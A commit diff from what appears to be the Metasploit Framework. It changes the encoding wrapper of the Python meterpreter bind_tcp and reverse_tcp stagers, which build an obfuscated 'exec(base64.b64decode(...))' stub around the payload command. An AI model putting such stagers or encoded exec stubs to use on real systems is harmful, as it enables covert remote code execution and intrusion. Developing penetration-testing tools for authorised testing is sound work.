Pymeterpreter get type encoder from dict instead

Author: zeroSteiner

modules/payloads/stagers/python/bind_tcp.rb

@@ -43,7 +43,7 @@ def generate
 
     # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
     b64_stub  = "import base64,sys; exec(base64.b64decode("
-    b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
+    b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('"
     b64_stub << Rex::Text.encode_base64(cmd)
     b64_stub << "')))"
     return b64_stub

modules/payloads/stagers/python/reverse_tcp.rb

@@ -41,7 +41,7 @@ def generate
 
     # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
     b64_stub  = "import base64,sys; exec(base64.b64decode("
-    b64_stub << "(str if sys.version_info[0]==2 else lambda b:bytes(b,'UTF-8'))('"
+    b64_stub << "{2:str}.get(sys.version_info[0],lambda b:bytes(b,'UTF-8'))('"
     b64_stub << Rex::Text.encode_base64(cmd)
     b64_stub << "')))"
     return b64_stub